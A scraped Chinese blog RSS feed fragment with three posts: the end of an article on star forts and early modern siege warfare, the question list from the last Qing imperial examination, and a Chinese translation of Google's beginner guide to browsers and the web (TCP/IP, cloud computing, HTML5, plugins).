<p>而一个更深层且更微妙的改变是守方由被动化为主动。矮墙容易突破，而一旦攻方占领壕沟外的斜堤并在此放列火炮时，原先用来抵挡直射炮火的斜堤便会因而失去作用。因此要塞的形制必须能将侧击火力发挥到最大，杀伤任何逼近墙角的敌军。星形要塞的每一角掩蔽放列在此的火炮。这些火炮直射相邻炮台的边缘，单一炮台是受两侧火力掩护的。复杂形制要塞的发展，使炮位形成交叉火网。前方的炮台控制能保护城墙及形制复杂的土坡。守军火炮不仅是用来应付强攻也可对付敌军火炮，使他们无法逼近要塞，以免朝脆弱的城墙行直接射击。守城的关键也因而变成围绕要塞外缘的壕沟。这是既隐蔽又隐密的路径。守军可相对安全地移动到壕沟的掩蔽处，并发动积极的反击手段以控制斜堤，斜坡置于壕沟外侧，借着建造防御工事来拒退敌人接近斜堤或可直射城墙的火力点，并以反地道战反击并瓦解对方试图接近城墙的地道战术。</p>
<div id="attachment_4105" class="wp-caption alignnone" style="width: 461px"><img class="size-full wp-image-4105" title="城墙、壕沟、斜堤的剖面图" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/ditch.png" alt="" width="451" height="111" /><p class="wp-caption-text">城墙、壕沟、斜堤的剖面图</p></div>
<p>与中古堡垒相比，要塞变得低矮，同时占地更广，更具备防御纵深，攻方为了能将火炮施加到内层的守军，则必须先克服层层的防御。守军火炮的炮位严密地防守，可不受外围的炮轰，但对城内则敞开，这不仅减少了攻方突破的可能性，也大大消除守军火炮所产生的大量硝烟。只要攻方配备的是加农炮（cannon），这种形制的要塞就能有效防御，所受损害大多也只是实心弹（solid shot）直接射击造成的。而虽有黑火药制成的低爆弹（low explosives）可用，但对这种要塞的破坏极微。臼炮（mortar）与高爆弹（high explosive）的发展，大大增强榴弹（explosive shell）的破坏力，而曲射（plunging fire）更使得这种要塞的几何型式变得不合时宜。战争因此再度变得更强调机动。然而也过了许多年才扬弃旧的筑城思维。</p>
<p><strong>建造</strong></p>
<p>由于建筑星形要塞所费不赀，故常与旧的防御工事权且凑合。中古时代外侧的幕墙（curtain）被拆毁，同时在外围掘深沟，挖出的土方堆在墙边用以加固城墙。这种建筑通常会有能抵挡炮击的砖墙，但许多为了省钱而略去此道工序，而以更多的泥土替代。而降低的中古圆塔则以泥土加固，也不失为一种权宜办法。</p>
<p>为有效妨碍正面进攻或是地道挖掘，加宽并加深城墙的外壕常是必要的。自1520年开始，筑城工程师即在护城河外筑起大而平缓的土堤，称为斜堤（glacis），这使城墙完全掩蔽于平射炮火之外。斜堤的好处是阻绝了敌人水平射击的能力。斜度愈大，阻挡的力量也就愈低。</p>
<p>一个耗费巨资改建城池的例子就是西亚那城（Siena），为了改建城墙而在1544年破产。义大利式要塞头一个重要例子则是教廷的西维塔维洽港（Port Civitavecchia）的米开朗基罗要塞（Michelangelo&#8217;s fort），原有的城墙削低加厚，因为石墙容易被炮击而粉碎。</p>
<p><img class="alignnone size-full wp-image-4106" title="civitavecchia" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/civitavecchia.png" alt="" width="400" height="300" /></p>
<p><strong>著名例子</strong></p>
<p>证明义大利是要塞真正有效的第一场大仗是1500年抵抗佛罗伦斯与法国联军的比萨（Pisa）保卫战，在法军加农炮轰击下，原有的中古堡垒被击碎，比萨人在受威胁的防区建了一道朝东的土墙，这道朝东倾斜的土墙可以防御攀登，也比被取代掉的幕墙更能抵御炮火。</p>
<p>第二场围攻是1509年的帕图亚（Padua），一个叫弗拉乔康多（Fra Giocondo）的修士工程师，信赖威尼斯的城市防御，拆除了该成的中古城墙，并以宽沟围绕该城，使之能藉由设置在壕沟的炮眼所发出的侧击火力来歼灭敌人。可知（法军）的炮火对低矮的土墙影响甚微，法军与盟友发动了几次血腥但无决定性的进攻后撤围而去。</p>
<p><strong>影响</strong></p>
<p>根据杰弗瑞帕克（Geoffrey Parker）的〈军事革命，1560年-1660年：一个迷思〉（The Military Revolution 1560-1660: A Myth?）一文，近代初期的欧洲出现义大利式要塞，以及（衍生出）夺取这种要塞的难处，导致了军事战略的全般转变。帕克认为战争成了一连串冗长的围攻，而在义大利式要塞存在的地带，会战变得极不适当。帕克最后论及「军略地理」（military geography），换言之，意大利式要塞在特定地点的有无，塑造了近代早期的军事战略。这全然取代了麦克罗伯（Michael Roberts）1955年于贝尔法斯特（Belfast）的皇后大学（Queen University）就职演说中提出军事革命的最初理论。</p>
<p>参考链接：<a href="http://en.wikipedia.org/wiki/Star_fort">http://en.wikipedia.org/wiki/Star_fort</a></p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/keyboard.html' rel='bookmark' title='机械键盘的一些知识'>机械键盘的一些知识</a></li>
<li><a href='http://www.biaodianfu.com/cookie-vs-session.html' rel='bookmark' title='Cookie与Session的区别'>Cookie与Session的区别</a></li>
<li><a href='http://www.biaodianfu.com/the-web-is-dead-long-live-the-internet.html' rel='bookmark' title='《连线》杂志：Web已死 Internet永生'>《连线》杂志：Web已死 Internet永生</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/star-fort.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>清朝最后一次科举题目VS公务员考试试题</title>
		<link>http://www.biaodianfu.com/imperial-examination.html</link>
		<comments>http://www.biaodianfu.com/imperial-examination.html#comments</comments>
		<pubDate>Fri, 15 Jul 2011 04:23:49 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[考试]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4026</guid>
		<description><![CDATA[清朝最后一次科举考试题 第一场，史论5篇： “周唐外重内轻,秦魏外轻内重各有得论”； “贾谊五饵三表之说,班固讥其疏.然秦穆尝用之以霸西戎，中行说亦以戒单于,其说未尝不效论”； “诸葛亮无申商之心而用其术,王安石用申商之实而讳其名论”； “裴度奏宰相宜招延四方贤才与参谋请于私第见客论”； “北宋结金以图燕赵,南宋助元以攻蔡论”。 第二场考各国政治,艺学策五道： “学堂之设,其旨有三,所以陶铸国?造就人才,振兴实业.国民不能自立,必立学以教之,使皆有善良之德,忠爱之心,自养之技能,必需之知识,盖东西各国所同,日本则尤注重尚武之精神,此陶铸国民之教育也.讲求政治,法律,理财,外交诸专门,以备任使,此造就人才之教育也.分设农,工,商,矿诸学,以期富国利民,此振兴实业之教育也.三者孰为最急策”。 “泰西外交政策往往借保全土地之名而收利益之实.盍缕举近百年来历史以证明其事策”。 “日本变法之初,聘用西人而国以日强,埃及用外国人至千余员,遂至失财政裁判之权而国以不振.试详言其得失利弊策”。 “周礼言农政最详,诸子有农家之学.近时各国研究农务,多以人事转移气候,其要曰土地,曰资本,曰劳力,而能善用此三者,实资智识.方今修明学制,列为专科,冀存要术之遗.试陈教农之策”。 “美国禁止华工,久成苛例,今届十年期满,亟宜援引公法,驳正原约,以期保护侨民策”。 第三场《四书》《五经》 “大学之道,在明明德,在亲民,在止于至善义”——出于《大学》 “中立而不倚强哉矫义”——出于《中庸》 “致天下之民,聚天下自货,交易而退,各得其所义”——出于《周易》 2010年上海市国家公务员（机关工作人员）录用公共考试 详情请看：http://wenku.baidu.com/view/d3c7dfc1d5bbfd0a79567306.html No related posts.]]></description>
			<content:encoded><![CDATA[<p><strong>清朝最后一次科举考试题</strong></p>
<p>第一场，史论5篇：</p>
<ol>
<li>“周唐外重内轻,秦魏外轻内重各有得论”；</li>
<li>“贾谊五饵三表之说,班固讥其疏.然秦穆尝用之以霸西戎，中行说亦以戒单于,其说未尝不效论”；</li>
<li>“诸葛亮无申商之心而用其术,王安石用申商之实而讳其名论”；</li>
<li>“裴度奏宰相宜招延四方贤才与参谋请于私第见客论”；</li>
<li>“北宋结金以图燕赵,南宋助元以攻蔡论”。</li>
</ol>
<p>第二场考各国政治,艺学策五道：</p>
<ol>
<li>“学堂之设,其旨有三,所以陶铸国?造就人才,振兴实业.国民不能自立,必立学以教之,使皆有善良之德,忠爱之心,自养之技能,必需之知识,盖东西各国所同,日本则尤注重尚武之精神,此陶铸国民之教育也.讲求政治,法律,理财,外交诸专门,以备任使,此造就人才之教育也.分设农,工,商,矿诸学,以期富国利民,此振兴实业之教育也.三者孰为最急策”。</li>
<li>“泰西外交政策往往借保全土地之名而收利益之实.盍缕举近百年来历史以证明其事策”。</li>
<li>“日本变法之初,聘用西人而国以日强,埃及用外国人至千余员,遂至失财政裁判之权而国以不振.试详言其得失利弊策”。</li>
<li>“周礼言农政最详,诸子有农家之学.近时各国研究农务,多以人事转移气候,其要曰土地,曰资本,曰劳力,而能善用此三者,实资智识.方今修明学制,列为专科,冀存要术之遗.试陈教农之策”。</li>
<li>“美国禁止华工,久成苛例,今届十年期满,亟宜援引公法,驳正原约,以期保护侨民策”。</li>
</ol>
<p>第三场《四书》《五经》</p>
<ol>
<li>“大学之道,在明明德,在亲民,在止于至善义”——出于《大学》</li>
<li>“中立而不倚强哉矫义”——出于《中庸》</li>
<li>“致天下之民,聚天下自货,交易而退,各得其所义”——出于《周易》</li>
</ol>
<p><strong>2010年上海市国家公务员（机关工作人员）录用公共考试</strong></p>
<p>详情请看：<a href="http://wenku.baidu.com/view/d3c7dfc1d5bbfd0a79567306.html">http://wenku.baidu.com/view/d3c7dfc1d5bbfd0a79567306.html</a></p>
<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/imperial-examination.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google：《关于浏览器和网络的20项须知》</title>
		<link>http://www.biaodianfu.com/20-things-i-learned-about-browsers-and-the-web.html</link>
		<comments>http://www.biaodianfu.com/20-things-i-learned-about-browsers-and-the-web.html#comments</comments>
		<pubDate>Mon, 27 Jun 2011 13:11:34 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=3879</guid>
		<description><![CDATA[20 项须知：前言 如今许多人都离不开网络，我们只要动动手指就能获得全球信息，并且在瞬间接触到世界各地的人和活动。所有这些超强体验都归功于开放的互联网。世界上的任何人都能通过任何已联网的设备，通过浏览器上网。 但是浏览器和网络的工作原理究竟是怎样的呢？万维网是如何发展到如今我们所了解和喜爱的样子的？我们需要了解哪些事情才能安全有效地浏览网络？“我了解到的关于浏览器和网络的 20 件事”是一个简短的指南，面向的是所有想要了解浏览器和网络基本知识的人。本指南介绍了以下内容： 首先我们会介绍一下互联网，这是网络存在的基础。我们还会介绍当今网络是如何通过云计算和网络应用程序运作的。 接着，我们会介绍 HTML 和 JavaScript 等网页构建基础，并且回顾它们的发明和发展对于您日常访问的网站起到了怎样的影响。我们还会介绍现代浏览器，以及它如何帮助用户更安全地访问网络。 最后，我们会展望在浏览器和网络技术领域令人兴奋的创新，我们相信在未来可以获得更快速更让人身临其境的在线体验。 什么是互联网？ 要知道什么是互联网，就要知道什么是 TCP/IP 互联网究竟是什么？对某些人来说，互联网就是用来与朋友交流、读新闻、购物和玩游戏的。而对其他一些人来说，互联网则可能是他们当地的宽带提供商，或者是城市之间乃至越洋过海传输数据的地下电缆和光纤。谁的看法正确呢？ 要讨论这一点，我们不妨从互联网诞生的 1974 年开始说起。那一年，几位天才的计算机研究人员发明了一种称为“互联网协议组”的技术，简称“TCP/IP”。TCP/IP 制定了一套规则，可以让不同的计算机彼此“交谈”，并且发送和接收信息。 TCP/IP 有点类似于人类之间的交流：人们在交谈时会按照语法规则组织语言，从而确保彼此可以相互理解和交流看法。同样地，TCP/IP 也提供了一套交流规则，从而确保互连设备可以彼此了解，以便发送和接收信息。随着这种互连设备从一个房间扩展到许多房间，再扩展到许多建筑物、城市乃至国家，互联网便诞生了。 互联网的早期创建者发现，如果先将数据和信息分成小块独立发送，然后再重新组合，那么传送效率会更高。这些小块称为数据包。所以，当您通过互联网发送电子邮件时，完整的电子邮件内容会先分成许多数据包发送到收件人邮箱，然后再重新组合。当您在 YouTube 等网站观看视频时，情况同样如此：视频文件会分成许多数据包，从世界各地的多个 YouTube 服务器发送出去，然后重新组合，还原成您在浏览器中看到的视频。 网速如何？如果将互联网的流量比作水流，那么互联网的带宽就相当于每秒流过的水量。所以工程师们所说的带宽实际上是指通过您的互联网连接每秒所能发送的数据量。这是反映您连接速度的一项指标。如今，凭借更精良的实体基础设施（例如光纤电缆，其传输速度接近光速），网络连接的速度可以更快，而且可以更好地在物理介质上进行信息编码，即使是铜线这样的老式介质也完全没问题。 互联网是一个令人着迷的高度技术化体系，但是对于我们大多数人来说，其实很容易使用，完全不必考虑其中所涉及的电缆和方程式之类复杂的东西。另外，互联网也是我们所熟知和喜爱的万维网存在的支柱：正是互联网连接实现了互连的网页和应用程序，带我们走进了一个不断发展的开放世界。事实上，如今网络中的网页数量可能已经像人脑中的神经元或者银河系中的星星那么多了。 在接下来的两章中，我们会介绍如今的网络是如何通过云计算和网络应用程序在现实生活中应用的。 云计算 为什么卡车碾过我的笔记本也没关系 互联网时代的现代计算机技术是相当神奇和卓越的。当您抱着您的笔记本电脑宅在家里看 YouTube 视频或使用搜索引擎时，实际上利用了遍布全球的无数台计算机的集体力量，正是它们远程提供了您所需的信息。这简直就像有一台大型超级计算机随时听候您的差遣，而这一切都归功于互联网。 这种现象就是我们通常所说的“云计算”。如今我们都可以在网络上读新闻、听音乐、购物、看电视以及存储文件。在我们所生活的城市中，几乎每个博物馆、银行和政府部门都有自己的网站。结果如何呢？我们可以通过这些网站进行付帐和预约等活动，因此节省了排队和打电话的时间。许多日常事务可以转由网络进行处理，这样我们可以生活得更加丰富多彩。 云计算还有其他一些好处。几年前，如果计算机出现了病毒感染或硬件故障之类的问题，很多人都会担心文档、照片和文件丢失。如今，我们已不再将数据存储局限在个人计算机中，而是迁移到网络上，将数据在线储存到“云”中。如果您在线上传照片、存储重要文件并使用 Gmail 或 Yahoo! Mail 这样网络电子邮件，那么即使一辆 18 轮大卡车碾过您的笔记本电脑，您的所有数据仍会安全地保存在网络上。不论您在世界的哪个角落，都可以通过任何一台接入互联网的计算机访问这些数据。 网络应用程序 或者说 “生命、自由以及对应用程序的追求” 如果您玩网络游戏，使用网上照片编辑器或者依赖“Google 地图”、Twitter、Amazon、YouTube 或 Facebook 等基于网络的服务，那么您就已经是网络应用程序世界中的一个活跃分子了。 网络应用程序究竟是什么？跟我们有什么关系呢？ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>20 项须知：前言</strong></p>
<p>如今许多人都离不开网络，我们只要动动手指就能获得全球信息，并且在瞬间接触到世界各地的人和活动。所有这些超强体验都归功于开放的互联网。世界上的任何人都能通过任何已联网的设备，通过浏览器上网。</p>
<p>但是浏览器和网络的工作原理究竟是怎样的呢？万维网是如何发展到如今我们所了解和喜爱的样子的？我们需要了解哪些事情才能安全有效地浏览网络？“我了解到的关于浏览器和网络的 20 件事”是一个简短的指南，面向的是所有想要了解浏览器和网络基本知识的人。本指南介绍了以下内容：</p>
<ul>
<li>首先我们会介绍一下互联网，这是网络存在的基础。我们还会介绍当今网络是如何通过云计算和网络应用程序运作的。</li>
<li>接着，我们会介绍 HTML 和 JavaScript 等网页构建基础，并且回顾它们的发明和发展对于您日常访问的网站起到了怎样的影响。我们还会介绍现代浏览器，以及它如何帮助用户更安全地访问网络。</li>
<li>最后，我们会展望在浏览器和网络技术领域令人兴奋的创新，我们相信在未来可以获得更快速更让人身临其境的在线体验。</li>
</ul>
<p><strong>什么是互联网</strong>？</p>
<p><strong>要知道什么是互联网，就要知道什么是 TCP/IP</strong></p>
<p>互联网究竟是什么？对某些人来说，互联网就是用来与朋友交流、读新闻、购物和玩游戏的。而对其他一些人来说，互联网则可能是他们当地的宽带提供商，或者是城市之间乃至越洋过海传输数据的地下电缆和光纤。谁的看法正确呢？</p>
<p>要讨论这一点，我们不妨从互联网诞生的 1974 年开始说起。那一年，几位天才的计算机研究人员发明了一种称为“互联网协议组”的技术，简称“TCP/IP”。TCP/IP 制定了一套规则，可以让不同的计算机彼此“交谈”，并且发送和接收信息。</p>
<p>TCP/IP 有点类似于人类之间的交流：人们在交谈时会按照语法规则组织语言，从而确保彼此可以相互理解和交流看法。同样地，TCP/IP 也提供了一套交流规则，从而确保互连设备可以彼此了解，以便发送和接收信息。随着这种互连设备从一个房间扩展到许多房间，再扩展到许多建筑物、城市乃至国家，互联网便诞生了。</p>
<p>互联网的早期创建者发现，如果先将数据和信息分成小块独立发送，然后再重新组合，那么传送效率会更高。这些小块称为<strong>数据包</strong>。所以，当您通过互联网发送电子邮件时，完整的电子邮件内容会先分成许多数据包发送到收件人邮箱，然后再重新组合。当您在 YouTube 等网站观看视频时，情况同样如此：视频文件会分成许多数据包，从世界各地的多个 YouTube 服务器发送出去，然后重新组合，还原成您在浏览器中看到的视频。</p>
<p>网速如何？如果将互联网的流量比作水流，那么互联网的<strong>带宽</strong>就相当于每秒流过的水量。所以工程师们所说的带宽实际上是指通过您的互联网连接每秒所能发送的数据量。这是反映您连接速度的一项指标。如今，凭借更精良的实体基础设施（例如光纤电缆，其传输速度接近光速），网络连接的速度可以更快，而且可以更好地在物理介质上进行信息编码，即使是铜线这样的老式介质也完全没问题。</p>
<p>互联网是一个令人着迷的高度技术化体系，但是对于我们大多数人来说，其实很容易使用，完全不必考虑其中所涉及的电缆和方程式之类复杂的东西。另外，互联网也是我们所熟知和喜爱的万维网存在的支柱：正是互联网连接实现了互连的网页和应用程序，带我们走进了一个不断发展的开放世界。事实上，如今网络中的网页数量可能已经像人脑中的神经元或者银河系中的星星那么多了。</p>
<p>在接下来的两章中，我们会介绍如今的网络是如何通过云计算和网络应用程序在现实生活中应用的。</p>
<p><strong>云计算</strong></p>
<p><strong>为什么卡车碾过我的笔记本也没关系</strong></p>
<p>互联网时代的现代计算机技术是相当神奇和卓越的。当您抱着您的笔记本电脑宅在家里看 YouTube 视频或使用搜索引擎时，实际上利用了遍布全球的无数台计算机的集体力量，正是它们远程提供了您所需的信息。这简直就像有一台大型超级计算机随时听候您的差遣，而这一切都归功于互联网。</p>
<p>这种现象就是我们通常所说的“云计算”。如今我们都可以在网络上读新闻、听音乐、购物、看电视以及存储文件。在我们所生活的城市中，几乎每个博物馆、银行和政府部门都有自己的网站。结果如何呢？我们可以通过这些网站进行付帐和预约等活动，因此节省了排队和打电话的时间。许多日常事务可以转由网络进行处理，这样我们可以生活得更加丰富多彩。</p>
<p>云计算还有其他一些好处。几年前，如果计算机出现了病毒感染或硬件故障之类的问题，很多人都会担心文档、照片和文件丢失。如今，我们已不再将数据存储局限在个人计算机中，而是迁移到网络上，将数据在线储存到“云”中。如果您在线上传照片、存储重要文件并使用 Gmail 或 Yahoo! Mail 这样网络电子邮件，那么即使一辆 18 轮大卡车碾过您的笔记本电脑，您的所有数据仍会安全地保存在网络上。不论您在世界的哪个角落，都可以通过任何一台接入互联网的计算机访问这些数据。</p>
<p><strong>网络应用程序</strong></p>
<p><strong>或者说 “生命、自由以及对应用程序的追求”</strong></p>
<p>如果您玩网络游戏，使用网上照片编辑器或者依赖“Google 地图”、Twitter、Amazon、YouTube 或 Facebook 等基于网络的服务，那么您就已经是网络应用程序世界中的一个活跃分子了。</p>
<p>网络应用程序究竟是什么？<em></em>跟我们有什么关系呢？</p>
<p>“App”是应用程序 (application) 的缩写。<em></em>应用程序也称为程序或软件。以往，开发应用程序是为了完成综合密集型的任务，例如财务管理或文字处理。现在，在网络浏览器和智能手机的网络世界中，应用程序通常是较为灵活的程序，专门针对单一任务。尤其是网络应用程序，可以在网络浏览器中运行这些任务，并且往往能够提供丰富的互动体验。</p>
<p>“Google 地图”就是一个网络应用程序的绝佳示例。它专门用来处理一项任务：在网络浏览器中提供实用的地图功能。您可以平移和缩放地图，搜索大学或咖啡厅，并且获得行车路线等等。您需要的所有信息都会根据您的要求动态显示在网络应用程序中。</p>
<p>我们可以总结出网络应用程序的四大优点：</p>
<p>1. 我可以从任何地方访问自己的数据。</p>
<p>在过去的桌面应用程序时代，数据通常存储在计算机的硬盘中。如果我外出度假，但是将计算机留在了家里，那么就无法查收电子邮件、查看照片或访问任何需要的数据了。而在网络应用程序的新时代，我的电子邮件和所有数据都存储在网络上。您可以使用任何一台可以上网的计算机，通过网络浏览器获取所需的数据。</p>
<p>2. 我的应用程序总是最新版本。</p>
<p>我今天使用的 YouTube 是什么版本？明天呢？答案是：永远都是最新的。网络应用程序会自动更新，所以总是只有一个版本：包含了所有最新功能和改进的最新版本。没有必要每次都手动升级到新版本，也不必在花费大量安装时间后才能使用。</p>
<p>3. 可以在所有安装了网络浏览器的设备上使用。</p>
<p>对于传统的计算机技术，有些程序只能在特定的系统或设备上运行。例如，许多为 PC 编写的程序无法在苹果机上运行。为每种系统或设备开发相应的软件不仅耗时，而且成本很高。相反，网络则是一个开放的平台。任何人都可以在连接到网络的设备上通过浏览器访问网络，无论这样的设备是笔记本电脑、桌面计算机还是手机。这意味着我即便使用朋友的笔记本电脑或网吧的计算机，也能运行我喜爱的网络应用程序。</p>
<p>4. 更加安全。</p>
<p>网络应用程序是在浏览器中运行的，无需下载到自己的计算机上。由于应用程序代码与计算机代码是分开的，因此网络应用程序不会影响我计算机上的其他任务，也不会影响计算机的总体性能。这也表示我在面对病毒、恶意软件和间谍软件等威胁时，可以得到更好的保护。</p>
<p><strong>HTML、JavaScript、CSS&#8230;</strong></p>
<p><strong>AJAX 不再是从前的样子了</strong></p>
<p>网页都是用 HTML 语言编写的，这是一种网络编程语言，可以指示浏览器如何在网页上构建和展现内容。换句话说，HTML 为网页提供了构建基础。很长一段时间以来，这些构建基础都很简单，而且是静态的，只包含文本行、链接和图片。</p>
<p>如今，我们的要求更高了，例如会想要在线下棋或者无缝滚动浏览周边地图，但不想每下一步棋或每滚动一下地图都要等待整个网页重新载入。这种动态网页的构想，从 JavaScript 脚本语言发明伊始就已经萌生了。各种主流网络浏览器都支持 JavaScript，这就意味着网页中可以包含更多重要的实时互动内容。例如，如果您填写了一张在线表单，然后点击“提交”按钮，那么网页就会使用 JavaScript 实时检查您输入的内容，并且在发现您填错时立即提醒您。</p>
<p>但是实际上，我们现在所了解的动态网页是在 JavaScript 引入了 XHR(XMLHttpRequest) 后才实现的，然后首先应用到 Microsoft Outlook 网络版、Gmail 和“Google 地图”等网络应用程序中。XHR 无需重新载入整个网页，即可更改网页的各个部分，包括游戏、地图、视频、在线用户调研等。这样，网络应用程序也因此变得更快速，响应也更及时。</p>
<p>在引入 CSS（层叠样式表）后，网页拥有了更丰富的表现力。CSS 可让程序员以轻松而有效的方法来定义网页布局，并通过颜色、圆角、渐变和动画等设计元素美化网页。</p>
<p> 网络程序员通常将 JavaScript、XHR、CSS 以及其他几种网络技术的强力组合称为 AJAX（异步 JavaScript 和 XML）。HTML 也在持续发展，新版 HTML 标准中不断加入新的功能和改进。</p>
<p>无数的技术人员、点子专家、编程人员和组织创造了种种网络技术，并确保 Internet Explorer、Firefox、Safari 和 “Google Chrome 浏览器”等网络浏览器支持这些技术，正是这些人的不懈努力，网络世界才有了今日的繁荣。网络技术与浏览器之间相辅相成，把网络打造成一个开放友好的构建平台，供网络开发人员开发各种实用而有趣的网络应用程序，以便我们在日常生活中使用。</p>
<p><strong>HTML5</strong></p>
<p><strong>或“在开始，还没有&lt;video&gt;的时候”</strong></p>
<p>在 HTML 诞生 20 多年后，我们仍在探究这样的问题：什么是网络？未来的网络会变成什么样？对于我们这些用户来说，什么样的功能和应用程序才是有趣、实用甚至是不可或缺的呢？开发人员需要借助什么工具来开发优秀的网站和应用程序？最后，如何在网络浏览器中实现网络的种种优势？</p>
<p>对上述问题的探究催生了最新版本的 HTML，也就是 HTML5。它具备了一系列新功能，可以帮助网页设计人员和开发人员们开发强大的下一代网络应用程序。以 HTML5 中的 &lt;video&gt; 标记为例。在早期的网络中，视频并不是一个主要的部分，或者说根本没有；互联网用户只有安装了称为“插件”的额外软件，才能在浏览器中观看视频。而不久之后，轻松观看视频就成了广大用户迫切需要的一项功能。利用 HTML5 中引入的 &lt;video&gt; 标记，可以轻松地在网页中嵌入和播放视频，无需安装其他软件。</p>
<p>HTML5 还提供了其他一些很棒的功能，例如离线功能（用户即使在没有网络连接的情况下，也能与网络应用程序互动）以及拖放功能。例如在 Gmail 中，用户只要将桌面上的文件拖放到浏览器窗口中，即可瞬间完成附件添加操作。</p>
<p>HTML5 就和网络本身一样， 也在根据用户的需求和开发人员的构想而不断发展。作为一种开放式标准，HTML5 结合了网络显著的一些优势：不受地域限制，都能在装有新一代浏览器的设备上运行。但是，就像只有在高清电视机上才能观看高清电视节目一样，用户必须使用兼容 HTML5 的最新版浏览器，才能访问那些采用了 HTML5 功能的网站和应用程序。好在有很多不同的浏览器可供互联网用户选择，买电视机要花钱，浏览器可是能免费进行下载的哦。</p>
<p><strong>支持 3D 功能的浏览器</strong></p>
<p><strong>更有深度的浏览</strong></p>
<p>3D 图形与动画的确魅力无穷，因为它们能够很好地展现所有细节，例如光影、倒影与逼真的纹理等。然而，迄今为止仍难以实现令人瞩目的 3D 体验，尤其是在互联网上。</p>
<p>为什么会这样呢？主要原因是，要在游戏和其他应用程序中营造 3D 体验，就必须用海量的数据来显示复杂精细的纹理和形状。以前，大多数常用系统都因为互联网带宽和计算能力方面的限制，无法处理如此海量的数据。不久之前，一切都改变了：基于浏览器的 3D 时代来临了！</p>
<p>如今的宽带网络帮助解决了带宽需求问题。许多家庭和办公室现在都安装了宽带，带宽远超十年前。因此，可以通过互联网发送大量数据，从而达到在浏览器中体验逼真 3D 效果的要求。而且，如今的计算机在性能上也远非从前可比：处理器与内存得到了显著提升，即便是目前普通档次的笔记本电脑或台式计算机，也能处理复杂的 3D 图形。</p>
<div>
<p>但是关键还在于浏览器功能有了长足的发展，否则单纯依靠宽带或者计算能力都是无济于事的。许多现代浏览器都采用了开放网络技术，如 WebGL 和 3D CSS。凭借这些技术，网络开发人员可以为网络应用程序打造出酷炫的 3D 效果，而我们无需安装其他插件就能体验这种效果。最重要的是，许多现代浏览器现在都能采用了一种称为“硬件加速”的技术。这意味着浏览器可以使用图形处理单元（即 GPU）加快计算速度，以满足同时呈现 3D 和日常 2D 网页内容的需要。</p>
</div>
<p> 那么为什么浏览器对 3D 的支持这么重要呢？因为现在 3D 技术已经与 HTML5、JavaScript 和其他强大的新技术一起成为了网络开发的常用工具，网络开发人员可以使用这些技术开发强大的下一代网络应用程序。而对用户而言，这意味着可以通过更好的新方式直观地查看实用信息，在网上体验 3D 环境和玩 3D 游戏时能够获得更多乐趣。</p>
<p>最重要的是，浏览器对 3D 的支持为网络应用程序带来了种种好处：您能够与全球的朋友们分享、协作和个性化最新的应用程序。毋庸置疑，人人都能获得更多数据，体验更多乐趣。</p>
<p><strong>浏览器大合唱</strong></p>
<p><strong>新老浏览器的对决</strong></p>
<p><em>老古董般的浏览器与现代浏览器无法并存：现代浏览器速度快、功能全、安全好老版浏览器运行慢，弱点一大堆一有恶意攻击就疲软。</em></p>
<p>大多数互联网用户可能尚未意识到，过时的旧版网络浏览器会对我们的网络生活，尤其是网络安全造成多大的负面影响。您肯定不愿意长年累月都开着一辆轮胎磨秃、刹车失灵而且发动机常常罢工的老爷车。同样，您也不应该每天使用过时的旧版浏览器来访问网页和网络应用程序。</p>
<p>赶快升级到最新版本的现代浏览器吧，例如 Mozilla Firefox、Apple Safari、Microsoft Internet Explorer、Opera 或者“Google Chrome 浏览器”。这样做是很有必要的，理由有以下三点：</p>
<div>
<p>第一，旧版浏览器通常无法更新最新的安全补丁和功能，因而极易受到攻击。浏览器的安全漏洞可能导致用户密码被盗、恶意软件偷偷侵入计算机甚至其他更严重的后果。而最新版本的浏览器能帮助您抵御网上诱骗和恶意软件等安全威胁。</p>
<p>第二，网络的发展十分迅速。旧版浏览器可能无法支持当今网站和网络应用程序中的许多最新功能。只有最新版本的浏览器在速度方面进行了改进，再加上对 HTML5、CSS3 以及快速 JavaScript 等现代网络技术的支持，可以让您快速地访问网页和运行应用程序。</p>
</div>
<p>第三，旧版浏览器阻碍了网络创新的步伐。如果大量的互联网用户都墨守旧版浏览器，网络开发人员就不得不在设计网站时兼顾新旧技术。面对有限的时间和资源，他们不得不为了照顾旧版浏览器的低标准，而停止为现代浏览器开发创新性的下一代网络应用程序。（想象一下吧，这就好比如今的高速公路工程师们被迫按照老爷车的安全行驶标准去设计高速公路。）因此，无论对于广大网络用户还是网络创新而言，过时的浏览器都是有百害而无一利的。</p>
<p>如果您对自己老迈的浏览器依依不舍，这也是无可厚非的。有些情况下，您可能无法升级浏览器。如果您发现在办公用计算机上无法升级浏览器，请与贵公司的 IT 管理员联系。如果您无法升级旧版 Internet Explorer，可以使用“Google Chrome 浏览器内嵌框架”插件，在 Internet Explorer 中引入“Google Chrome 浏览器”的部分功能，从而获得一些现代网络应用程序的先进功能。</p>
<p>过时的旧版浏览器不仅会损害用户的利益，而且阻碍了整个网络的创新步伐。因此，请您务必花一点时间将您喜爱的现代浏览器升级到最新版本。</p>
<p><strong>插件</strong></p>
<p><strong>吃饺子要蘸醋</strong></p>
<p>在万维网发展的早期阶段，第一版 HTML 无法传输像视频这样高级的内容，基本上只限于文本、图片和链接。</p>
<p>为了打破早期 HTML 的限制并且传输更多互动内容，插件应运而生。插件是一种附加软件，专门用来处理特定类型的内容。例如，用户可以下载并安装 Adobe Flash Player 等插件，以便观看包含视频或互动游戏的网页。</p>
<p>插件与浏览器之间的互动程度如何？说来奇怪，它们之间几乎没有互动。插件模式很像电视上的画中画：浏览器在网页上为插件界定一个明确的空间，然后就置身事外了。插件可以自由运用这个空间，完全不受浏览器的影响。</p>
